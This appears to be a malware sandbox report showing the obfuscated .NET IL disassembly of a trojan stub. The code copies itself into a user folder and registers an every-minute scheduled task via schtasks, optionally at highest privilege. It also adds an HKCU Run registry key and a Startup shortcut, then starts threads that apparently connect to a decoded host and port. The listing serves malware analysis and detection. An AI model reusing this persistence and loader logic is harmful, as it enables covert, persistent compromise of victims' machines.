GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::F0VgRTu7Nxqju6LuZQeqUf8cEPiy5Cao3jexfguYwcNmbbT call System.Object Stub.3PX29TquGP5HL71DGYwoCTFoRdyIV1sHYVuCil2PVqNg2rKii1KhnlCrzQsFYxU6::iTJclkudkC1bJB4e6I1t9P8uDcaXJXQ7nKWGg1dBDFwKYAPdVFaSFzSyItke1wsA(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::F0VgRTu7Nxqju6LuZQeqUf8cEPiy5Cao3jexfguYwcNmbbT ldsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::NDQzNImpdeihgpyDK2wlMkAWud4pmBLESTJO3xs8Jf6EaGd call System.Object Stub.3PX29TquGP5HL71DGYwoCTFoRdyIV1sHYVuCil2PVqNg2rKii1KhnlCrzQsFYxU6::iTJclkudkC1bJB4e6I1t9P8uDcaXJXQ7nKWGg1dBDFwKYAPdVFaSFzSyItke1wsA(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::NDQzNImpdeihgpyDK2wlMkAWud4pmBLESTJO3xs8Jf6EaGd ldsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::HalC9TlvT8aeh69BsmUEtdzKaBQe5fMt87ymt4OTecYHIH8 call System.Object Stub.3PX29TquGP5HL71DGYwoCTFoRdyIV1sHYVuCil2PVqNg2rKii1KhnlCrzQsFYxU6::iTJclkudkC1bJB4e6I1t9P8uDcaXJXQ7nKWGg1dBDFwKYAPdVFaSFzSyItke1wsA(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::HalC9TlvT8aeh69BsmUEtdzKaBQe5fMt87ymt4OTecYHIH8 ldsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::ceDHvyKKTjsod7lpvNmX9NRRqcvEVeQslXq9qbDbPvYzQPo call System.Object Stub.3PX29TquGP5HL71DGYwoCTFoRdyIV1sHYVuCil2PVqNg2rKii1KhnlCrzQsFYxU6::iTJclkudkC1bJB4e6I1t9P8uDcaXJXQ7nKWGg1dBDFwKYAPdVFaSFzSyItke1wsA(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::ceDHvyKKTjsod7lpvNmX9NRRqcvEVeQslXq9qbDbPvYzQPo ldsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::AS90mllGgLlaDgO7GD6uCJCdQYupAgpHwDRz6moMVZxXi4l call System.Object Stub.3PX29TquGP5HL71DGYwoCTFoRdyIV1sHYVuCil2PVqNg2rKii1KhnlCrzQsFYxU6::iTJclkudkC1bJB4e6I1t9P8uDcaXJXQ7nKWGg1dBDFwKYAPdVFaSFzSyItke1wsA(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::AS90mllGgLlaDgO7GD6uCJCdQYupAgpHwDRz6moMVZxXi4l ldsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::GF9edgGANBgl1Pudu62FupzIMBZTBUAZPb0cS1RNq64uY2p call System.Object Stub.3PX29TquGP5HL71DGYwoCTFoRdyIV1sHYVuCil2PVqNg2rKii1KhnlCrzQsFYxU6::iTJclkudkC1bJB4e6I1t9P8uDcaXJXQ7nKWGg1dBDFwKYAPdVFaSFzSyItke1wsA(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::GF9edgGANBgl1Pudu62FupzIMBZTBUAZPb0cS1RNq64uY2p ldsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::lSmQmskT3nvAPXljctVSqOKMRXVYhhGmYkGpuAWspBvUwQ3 call System.Object Stub.3PX29TquGP5HL71DGYwoCTFoRdyIV1sHYVuCil2PVqNg2rKii1KhnlCrzQsFYxU6::iTJclkudkC1bJB4e6I1t9P8uDcaXJXQ7nKWGg1dBDFwKYAPdVFaSFzSyItke1wsA(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::lSmQmskT3nvAPXljctVSqOKMRXVYhhGmYkGpuAWspBvUwQ3 leave.s IL_00F4: call System.Boolean Stub.HtmrL7AV2fwbqS7xjAnKSKEsD0Y7TSVbzyLksexdpPUslXDBMBgt4aHIlm8FfBfJ::ZKY1nmGmQSWpIupku9aknc2jyydBABmLDGIQDXgBFv1PZ9RtAYQtLtvCX1DK1PMZ() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_4 ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00F4: call System.Boolean Stub.HtmrL7AV2fwbqS7xjAnKSKEsD0Y7TSVbzyLksexdpPUslXDBMBgt4aHIlm8FfBfJ::ZKY1nmGmQSWpIupku9aknc2jyydBABmLDGIQDXgBFv1PZ9RtAYQtLtvCX1DK1PMZ() call System.Boolean Stub.HtmrL7AV2fwbqS7xjAnKSKEsD0Y7TSVbzyLksexdpPUslXDBMBgt4aHIlm8FfBfJ::ZKY1nmGmQSWpIupku9aknc2jyydBABmLDGIQDXgBFv1PZ9RtAYQtLtvCX1DK1PMZ() brtrue.s IL_0101: call System.Void Stub.dK4tOt3y9mubTybtstJb0EK2TvvyxQeabrIlBlR9UQYrLcd::hWkpR7jxMAPqFiWIYWOOu5SGKY2QfZhtahy0guydIjH9ckl() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Stub.dK4tOt3y9mubTybtstJb0EK2TvvyxQeabrIlBlR9UQYrLcd::hWkpR7jxMAPqFiWIYWOOu5SGKY2QfZhtahy0guydIjH9ckl() leave.s IL_0117: call System.Void Stub.dK4tOt3y9mubTybtstJb0EK2TvvyxQeabrIlBlR9UQYrLcd::r89rS1bmkg4xk5V93Qhq12sUY52iMFDRcKUKYPmF0szS8he() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_5 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0117: call System.Void Stub.dK4tOt3y9mubTybtstJb0EK2TvvyxQeabrIlBlR9UQYrLcd::r89rS1bmkg4xk5V93Qhq12sUY52iMFDRcKUKYPmF0szS8he() call System.Void Stub.dK4tOt3y9mubTybtstJb0EK2TvvyxQeabrIlBlR9UQYrLcd::r89rS1bmkg4xk5V93Qhq12sUY52iMFDRcKUKYPmF0szS8he() ldsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::HalC9TlvT8aeh69BsmUEtdzKaBQe5fMt87ymt4OTecYHIH8 ldstr \ ldsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::ceDHvyKKTjsod7lpvNmX9NRRqcvEVeQslXq9qbDbPvYzQPo call System.String System.String::Concat(System.String,System.String,System.String) stloc.1 <null> ldloc.1 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_6 ldloc.s V_6 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_015E: ldloc.1 ldloc.s V_6 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.1 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_0175: ldc.i4 1000 ldloc.1 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_7 ldloc.s V_7 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.1 <null> ldsfld System.String Stub.HtmrL7AV2fwbqS7xjAnKSKEsD0Y7TSVbzyLksexdpPUslXDBMBgt4aHIlm8FfBfJ::2WrOI7vuTd6R0ToLW8NmVo4DlMp2nJEuC0zctq3LdrhyoG9zskBQyA0xGgdQ6P9q call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_01A0: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_8 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_01A0: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_10 ldloc.s V_10 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.L8kfih6vEBrrJJyJUGesbxVBck434Een::Iz6xtUYfKUhKaIFdPk4p3xEsjbn1YZsj() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_0206: ldloc.s V_10 ldloc.s V_10 ldc.i4.5 <null> newarr System.String stloc.s V_15 ldloc.s V_15 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_15 ldc.i4.1 <null> ldsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::ceDHvyKKTjsod7lpvNmX9NRRqcvEVeQslXq9qbDbPvYzQPo call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_15 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_15 ldc.i4.3 <null> ldloc.1 <null> stelem.ref <null> ldloc.s V_15 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_15 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_024A: ldloc.s V_10 ldloc.s V_10 ldc.i4.5 <null> newarr System.String stloc.s V_15 ldloc.s V_15 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_15 ldc.i4.1 <null> ldsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::ceDHvyKKTjsod7lpvNmX9NRRqcvEVeQslXq9qbDbPvYzQPo call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_15 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_15 ldc.i4.3 <null> ldloc.1 <null> stelem.ref <null> ldloc.s V_15 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_15 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_10 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_9 ldloc.s V_9 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_026B: call My.JGTIHgXWmBk01mKUQYZGYt95IZX6rB0s5EPjAxFK3XveDKF My.VpYPPeSHgwB8SLgEYHyKqa2Ne1jQWGbjFSzQ1kn5h6hzbJY::GixmPod2Tywp1wHeeHiFcfohUeC6xOHYkYYuJ2ueOtJPWQL() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_11 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_026B: call My.JGTIHgXWmBk01mKUQYZGYt95IZX6rB0s5EPjAxFK3XveDKF My.VpYPPeSHgwB8SLgEYHyKqa2Ne1jQWGbjFSzQ1kn5h6hzbJY::GixmPod2Tywp1wHeeHiFcfohUeC6xOHYkYYuJ2ueOtJPWQL() call My.JGTIHgXWmBk01mKUQYZGYt95IZX6rB0s5EPjAxFK3XveDKF My.VpYPPeSHgwB8SLgEYHyKqa2Ne1jQWGbjFSzQ1kn5h6hzbJY::GixmPod2Tywp1wHeeHiFcfohUeC6xOHYkYYuJ2ueOtJPWQL() callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry() callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser() ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) ldsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::ceDHvyKKTjsod7lpvNmX9NRRqcvEVeQslXq9qbDbPvYzQPo call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldloc.1 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object) leave.s IL_02A6: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_12 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_02A6: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::ceDHvyKKTjsod7lpvNmX9NRRqcvEVeQslXq9qbDbPvYzQPo call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_13 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_16 ldloc.s V_16 ldc.i4.0 <null> ldloc.s V_13 stelem.ref <null> ldloc.s V_16 stloc.s V_17 ldloc.s V_17 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_18 ldloc.s V_18 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_18 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_18 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_032B: stloc.s V_19 ldloc.s V_17 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_13 stloc.s V_19 ldloc.s V_19 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_20 ldloc.s V_20 ldc.i4.0 <null> ldloc.1 <null> stelem.ref <null> ldloc.s V_20 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_19 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_20 ldloc.s V_20 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_20 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_19 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_19 ldloc.s V_13 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.HtmrL7AV2fwbqS7xjAnKSKEsD0Y7TSVbzyLksexdpPUslXDBMBgt4aHIlm8FfBfJ::VvBRNPmHGmoSrGmXMNEPCJ7bZRNTeHLyQ14UgFjavpmCqz0VLb7osUfL64jyuB6x leave.s IL_03AA: call System.Void Stub.kfp7M0BahqUEfBN83BHJAssA8uS5f80D::ZghgdyOPFA1drqI5wB2TT0XCTVMLfVHc() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_14 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_03AA: call System.Void Stub.kfp7M0BahqUEfBN83BHJAssA8uS5f80D::ZghgdyOPFA1drqI5wB2TT0XCTVMLfVHc() call System.Void Stub.kfp7M0BahqUEfBN83BHJAssA8uS5f80D::ZghgdyOPFA1drqI5wB2TT0XCTVMLfVHc() ldsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::NDQzNImpdeihgpyDK2wlMkAWud4pmBLESTJO3xs8Jf6EaGd call System.String Stub.dK4tOt3y9mubTybtstJb0EK2TvvyxQeabrIlBlR9UQYrLcd::V2sKkjfDl8cOiR72AwKc2SHmSBTy1WQXkEjTIKCr3QFcVkR(System.String) stloc.0 <null> ldloc.0 <null> ldc.i4.1 <null> newarr System.Char stloc.s V_21 ldloc.s V_21 ldc.i4.0 <null> ldc.i4.s 58 stelem.i2 <null> ldloc.s V_21 callvirt System.String[] System.String::Split(System.Char[]) ldc.i4.0 <null> ldelem.ref <null> stsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::K7OZo3seLj7o3Bgt9y0EgDPv4FFD1xxjq9sidjznBBm0p1Q ldloc.0 <null> ldc.i4.1 <null> newarr System.Char stloc.s V_21 ldloc.s V_21 ldc.i4.0 <null> ldc.i4.s 58 stelem.i2 <null> ldloc.s V_21 callvirt System.String[] System.String::Split(System.Char[]) ldc.i4.1 <null> ldelem.ref <null> stsfld System.String GolWxMo0myI9lGgGWgpCFWsfcGB55k9FENek2u78Pr6megA::AM2A1XpdULFkXEIvBT8nytWFgjZ333gluWaQ4oekryjwEuP call System.Void Stub.HtmrL7AV2fwbqS7xjAnKSKEsD0Y7TSVbzyLksexdpPUslXDBMBgt4aHIlm8FfBfJ::VmChO5rBE0bh4PgRYHO674VB8qIfiUu3ll6UXr2CqxGFSr8hRj5BDtGQyXmGjqhz() ldnull <null> ldftn System.Void Stub.dK4tOt3y9mubTybtstJb0EK2TvvyxQeabrIlBlR9UQYrLcd::PgPl07cPTCL3gOqtaKuZHSyklVEXgDGS() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() ldnull <null> ldftn System.Void Stub.dK4tOt3y9mubTybtstJb0EK2TvvyxQeabrIlBlR9UQYrLcd::sDvimhnvUXrD5G4vQ3PWhuFu8EOuU00k() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() call System.String Stub.L8kfih6vEBrrJJyJUGesbxVBck434Een::Iz6xtUYfKUhKaIFdPk4p3xEsjbn1YZsj() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_0436: ldnull call System.Void Stub.Fwr4Ie49zw3v39xJ3uldBhQF2CsA1WEp::WVFE40FGy80JeBMk0gxijAacJ7wCYNcPXAPqu9r3yXn9S9F7oyRx1dN9xQWsDEj5() ldnull <null> ldftn System.Void Stub.dK4tOt3y9mubTybtstJb0EK2TvvyxQeabrIlBlR9UQYrLcd::fiqQkiCyiAMPh638YYlUSHEe8sg4ewbt() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldnull <null> ldftn System.Void Stub.dK4tOt3y9mubTybtstJb0EK2TvvyxQeabrIlBlR9UQYrLcd::HPPfB8Ju5q8hqAOMh6wwElsm8HSaOaUO() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.3 <null> ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.3 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.3 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>

No malware configuration was found at this point.

You must be signed in to view YARA rules.